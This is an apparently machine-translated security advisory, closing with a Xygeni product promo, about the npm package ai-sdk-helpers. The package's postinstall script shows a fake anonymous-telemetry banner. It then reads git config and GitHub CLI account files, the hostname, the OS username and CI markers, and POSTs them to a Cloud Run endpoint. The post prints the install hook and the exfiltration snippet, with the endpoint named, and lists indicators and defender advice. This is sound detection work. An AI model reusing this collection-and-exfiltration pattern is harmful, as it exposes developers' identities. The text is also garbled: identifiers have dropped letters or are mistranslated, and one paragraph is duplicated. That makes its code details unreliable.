ConsentMask - npm paket koji skriva identitet programera.

ConsentMask: NPM paket koji nosi baner za telemetrijsku saglasnost preko prikupljanja identiteta programera

TL; DR

Jedan npm paket, ai-sdk-pomoćnici, predstavlja se kao produkcijski alat za Vercel AI SDK, nudeći praćenje troškova, vraćanje dobavljača na prethodno stanje i pomoć pri streamingu.

Njegova instalacijska skripta otvara se uglađenim banerom s opisom anonimna dijagnostika, obećavajući da se neće prenositi izvorni kod, tokeni ili akreditivi, poštujući DO_NOT_TRACK isključivanje i povezivanje sa stranicom s pravilima telemetrije.

Isti skript zatim čita git identitet programera, GitHub CLI konfiguraciju, naziv hosta mašine, korisničko ime OS-a, radni direktorij i CI provajdera.

Ti podaci se objavljuju kao JSON na krajnju tačku Google Cloud Runa, stvarajući očiglednu neusklađenost između navedene politike telemetrije i stvarno prikupljenih polja.

Paket je objavljen u dvadeset dvije verzije unutar jednog 83-sekundnog niza, a instalacijski skript je bajt po bajt identičan u svakoj označenoj verziji.

Sedam od osam verzija koje smo pregledali pipeline ML klasifikator ih je ocijenio kao neuvjerljive jer stil banera za pristanak izgleda kao legitimna telemetrija.

Mi klasifikujemo ai-sdk-helpers kao zlonamjeran na osnovu prikupljanja i eksfiltracije identiteta programera tokom instalacije.

Ozbiljnost: visoka.

 Anatomija instalacije

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

nakon instalacije pokreće se automatski na npm install, prije nego što se bilo koji od reklamiranih kodova paketa ikada uveze. Skripta skripte/postinstall.js je mjesto gdje se nalazi svo ponašanje prilikom instalacije.

Otvara se blokom za komentare i obavještenjem o izvršavanju napisanim u registru projekta otvorenog koda koji vodi računa o privatnosti:

>Kada instalirate ai-sdk-helpers, pokrećemo brzu provjeru kompatibilnosti okruženja i izvještavamo anonimnu dijagnostiku... Podaci su potpuno anonimni - prikupljamo vašu platformu, verziju čvora i jednosmjerni hash identifikatora vašeg računara. Nikada se ne prenose izvorni kod, tokeni ili akreditivi.

Čak povezuje i funkcionalnu kapiju za odjavu, prvi izvršni kod u datoteci:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Zatvaranje ove kapije prvo čini da se ostatak čita kao konsenzualan: programer koji postavlja `D_NE_PRATI` tiho dovršava instalaciju i zaključuje da paket poštuje konvenciju. Isključenje s liste je stvarno. Ono što zatvara, za sve koji ga ne postave, je kolekcija opisana u nastavku - ne uži naziv "platforma, Node verzija i jednosmjerni heš" kako je navedeno u obavijesti.

Ispod te kapije, skripta sastavlja korisni teret koji daleko prevazilazi taj opis.

  • *Gidentitet.* rriješitiScmIdentitet()` eads `~.gitconfig`,`~.config/git/config`,i trenutnog projekta `.it/config`,analizira `[ser]` odjeljak i vraća konfigurirano commit e-mail. Ako nijedna konfiguracijska datoteka ne vrati e-mail, vraća se na `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,i `EAIL` varijable okruženja. Dokumentacijski niz iznad funkcije definira čitanje kao način "deduplikacije instalacija na mašinama u vlasništvu iste osobe (npr. laptop + CI)" - navedena svrha koja zahtijeva stabilan identifikator po programeru, koji... commit pribor za e-poštu.
  • *GtHub račun.* rriješiGitHubIdentity()` eads `~.config/gh/hosts.yml` i `~.config/gh/hosts.yaml` konfiguracijska datoteka koju piše GitHub CLI kada se programer autentifikuje — i regex-ekstraktuje `uhm:` i `ebol:` polja. Ta datoteka također pohranjuje GitHub OAuth token; regularni izraz skripte cilja specifično na linije za korisničko ime i e-poštu i ne izdvaja token. Tvrdnja banera za otkrivanje informacija „nikakvi tokeni... se nikada ne prenose“ stoga je doslovno tačna za to jedno polje dok se okolni identifikatori računa čitaju i šalju.
  • *Hst i CI otisak prsta.* Scenarij zatim sakuplja `o.naziv_hosta()`,`o.korisnickeInfo().korisnickime`,verzija, platforma i arhitektura Node-a, `pocess.cwd()`,i oznaka CI-provajdera riješena provjerom varijabli okruženja za osam provajdera (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite i dvije generičke CI zastavice). Lista provajdera se čita kao popis mjesta gdje se skripta očekuje da se izvrši - interaktivne ljuske i automatizirana izgradnja pipelineslicno.

Sve ovo je grupisano u jedno `dagnostici objekt, s poljima za svakog programera prikupljenim pod `ientitet ey i podaci o hostu pod `rvrijeme i `cntext` oči, zatim serijalizirane i prenesene:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Odgovor se odbacuje i sve greške se gutaju - komentar napominje da „telemetrija nikada ne smije prekinuti instalaciju“. Naziv hosta krajnje tačke kodira Google Cloud Run uslugu u `erope-west1` regija.

Praznina je priča. Baner imenuje tri kategorije podataka - platformu, verziju čvora, hash identifikatora mašine. Korisni teret šalje stvarni git programera. commit e-mail, njihovo GitHub korisničko ime i e-mail, naziv hosta njihove mašine i naziv OS računa, putanju njihovog projekta i njihovo CI okruženje. Polja koja identificiraju *prson i njihovi računi* tačno polja koja objava izostavlja.

README dokument pojačava okvir s druge strane. Njegov odjeljak "Telemetrija" ponavlja tvrdnju o anonimnosti i povezuje riječ `D_NE_PRATI` o `cnsoledonottrack.com`,prava stranica zajednice koja dokumentira konvenciju o isključivanju — posuđivanje priznate privatnosti standard da se obavještenje čita kao rutina.

Timeline

Ovo je otkriće u jednom paketu s vrlo kratkom, vrlo gustom historijom objavljivanja. Nema višesedmičnog luka kampanje koji bi se mogao pratiti — cijeli raspon verzija je objavljen brzinom mašine.

Kada (UTC) događaj
2026-06-03 20:31:20 Prva verzija (0.1.0) objavljeno na npm-u.
2026-06-03 20:31:20 – 20:32:43 Svih 22 verzija (0.1.0 kroz 1.4.2) objavljeno u automatskom rafalu od 83 sekunde.
2026-06-04 Osam verzija je označeno detekcijskim signalima; ručna analiza potvrđuje prikupljanje i krađu identiteta tokom instalacije. Paket je ostao aktivan na npm-u u vrijeme analize.

Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0`,`01.1`,... `14.2`)predstavlja površinu aktivno održavanog projekta s historijom izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - pogledajte dolje.

Indikatori kompromisa

Korisni sadržaj prilikom instalacije je identičan u cijelom objavljenom rasponu verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.

mreža

Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0`,`01.1`,... `14.2`)predstavlja površinu aktivno održavanog projekta s historijom izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - pogledajte dolje.

Indikatori kompromisa

Korisni sadržaj prilikom instalacije je identičan u cijelom objavljenom rasponu verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.

mreža

pokazatelj uloga
npm-package-logger-228835561205.europe-west1.run.app Krajnja tačka eksfiltracije prima HTTPS POST zahtjeve sa JSON korisnim sadržajem. Hostovano na Google Cloud Run-u u europe-west1 Regija.

Infrastruktura mamaca

pokazatelj uloga
ai-sdk.guide Početna stranica paketa i aktivna web stranica koja podržava identitet autora "AI SDK Guide".
ai-sdk.guide/telemetry URL adresa politike telemetrije navedena u obavještenju o otkrivanju informacija prilikom instalacije.
hello@ai-sdk.guide E-mail adresa autora navedena u package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Izvorni repozitorij deklariran od strane paketa.

Datoteke pročitane prilikom instalacije

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pošta
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIhm `ebol

Bihevioralni potpisi

  • – m `pstinstall` ook pozivanje uključenog Node skripta
  • – vrata za isključivanje (`A_SDK_POMOĆNICI_TELEMETRIJA_ONEMOGUĆENA`,`D_NE_PRATI`)predstavljeno kao funkcija privatnosti, prije prikupljanja identiteta
  • – tbound HTTPS POST JSON objekta koji sadrži git email, GitHub identitet, naziv hosta, korisničko ime OS-a, cwd i CI oznaku
  • – identična instalacijska skripta preko brzo objavljene ljestvice verzija

 Atribucija i uočeno ponašanje
Ne pripisujemo ništa osim onoga što su zabilježeni metapodaci paketa i registra.

NPM čuvar zapisa je račun `a`ielsimon`,sa adresom `aiel@vigilance.security`.Registar navodi tu e-mail adresu kao neprovjerenu, a identitet kontrole izvora računa kao neprovjeren. `pckage.json`,odvojeno, predstavlja autora kao „AI SDK vodič“ello@ai-sdk.guide>`”sa početnom stranicom `a-sdk.guide` i repozitorij izvornog koda pod `gOrganizacija thub.com/ai-sdk-guide. Domena e-pošte izdavačkog računa (`vigilance.security`)i identitet autora unutar paketa (`a-sdk.vodič`)su različite domene.

The `a-sdk.guide` ite je aktivan i odgovara, a `/elemetrija ath rješava — identitet mamca je podržan dostupnim web prisustvom, a ne mrtvom vezom, što povećava vjerodostojnost uokviravanja paketa.

**Uočena mogućnost.** Prilikom instalacije, paket čita identitet programera i datoteke konfiguracije računa, otiske hosta i CI okruženja i prenosi rezultat na krajnju tačku kojom upravlja operater, dok prikazuje obavještenje koje opisuje uži i anonimizirani skup podataka. Opisujemo ovo ponašanje; ne tvrdimo motiv za njega. Čitaoci koji procjenjuju paket - uključujući bilo koju stranu koja prepoznaje identitet publike - trebali bi procijeniti uočljivu neusklađenost između navedenih i stvarnih tokova podataka.

Uticaj, trendovi i smjernice za branitelje

Ko je izložen. Svako ko instalira ai-sdk-pomoćnici — direktno ili kao tranzitivna zavisnost — pokreće kolekciju na toj mašini. Budući da je okidač nakon instalacije, oglašeni kod biblioteke nikada ne mora biti uvezen da bi se protok podataka dogodio; sama instalacija je dovoljna. Okruženja najveće vrijednosti su radne stanice programera s konfiguriranim git identitetom i autentificiranim GitHub CLI-jem, te CI pokretači, gdje detekcija CI provajdera skripte ukazuje na to da se očekuje da će se kolekcija pokrenuti unutar builda. pipelinekao i na laptopima.

Šta otkriva. Ne tajne aplikacije u opštem slučaju - korisni teret se fokusira na identitetprogramerovog commit e-mail, naziv i e-mail njihovog GitHub računa, nazive mašina i računa te putanju projekta. To je prethodnocismapa ko je instalirao paket, na kojoj mašini, u kojem repozitoriju i pod kojim CI sistemom. Za organizaciju, nekoliko takvih zapisa uzetih zajedno bi nabrojalo koji su inženjeri i koji sistemi za izgradnju preuzeli zavisnost - korisno kao preteča ciljanijih narednih aktivnosti, čak i ako se vlastito ponašanje ovog paketa zaustavlja na prikupljanju i prenosu.

Trend: telemetrija kao maska. Legitimni alati za razvojne programere prikupljaju anonimizirane dijagnostičke podatke o instalaciji, kao i konvencije za poštovanje toga - obavijest o otkrivanju podataka, NE_PRATI čast, zastavica za odjavu, URL pravila - dobro su poznati. ai-sdk-pomoćnici vjerno reproducira sve četiri konvencije i koristi ih kao omotač za prikupljanje identiteta. Prisustvo banera za pristanak, funkcionalne opcije za odjavu ili linka za politiku privatnosti nije dokaz da je paket pouzdan; te kontrole je jeftino imitirati. Jedina pouzdana provjera je šta kod zapravo čita i gdje to zapravo šalje.

Ovo pakovanje takođe ima merljiv uticaj na automatizovanu trijažu. U svim verzijama naše pipeline Nakon pregleda, komentari instalacijskog skripta na jednostavnom jeziku, strukturirani nazivi polja i konvencionalna vrata za odjavu ocijenjeni su kao obična telemetrija: sedam od osam se vratilo. nejasan iz ML klasifikatora, a ne zlonamjernog. Signal koji rješava dvosmislenost nije u prozi - on je u specifičnim datotekama koje skripta otvara (~ / .gitconfig, ~/.config/gh/hosts.yml) i odredište na koje se šalje. Pregledatelj, automatizirani ili ljudski, koji pročita objavu i tu se zaustavi doći će do pogrešnog zaključka; odluka mora proizaći iz činjenica o protoku podataka.

Upute za branitelje:

  • Instalacija sa podrazumevano onemogućenim skriptama — npm instalacija –ignore-scriptsili postavite ignore-scripts=true in .npmrc i eksplicitno izvršavajte provjerene korake izgradnje. Ovo neutralizira nakon instalacije-pokrenuta naplata na svim nivoima.
  • Ne tretirajte kontrole za isključivanje kao signale povjerenja. NE_PRATI Provjera ili link "telemetrijske politike" ne govori vam ništa o podacima koje skripta prikuplja kada vrata nisu postavljena.
  • Pročitajte instalacijski hook prije usvajanja pomoćnih paketa AI ekosistema. Vercel AI SDK prostor je brzorastuća, visoko pouzdana meta; nakon instalacije koji dodiruje ~ / .gitconfig or ~/.config/gh/ je jasan signal bez obzira na to kako su napisani okolni komentari.
  • Praćenje izlaza u vrijeme izgradnje. Odlazni HTTPS POST tokom npm install, posebno za novoinstaliranu krajnju tačku cloud-funkcije, vidljiva je na mrežnom sloju i predstavlja snažnu tačku detekcije za CI okruženja.
  • Pazite na komprimirane ljestvice verzija. Paket čija se cijela semantička historija verzija pojavljuje u roku od nekoliko sekundi, s nepromjenjivim instalacijskim skriptom, predstavlja proizvedenu historiju održavanja.
sca-tools-software-alati-za-analizu-sastava
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

sa Xygeni paketom proizvoda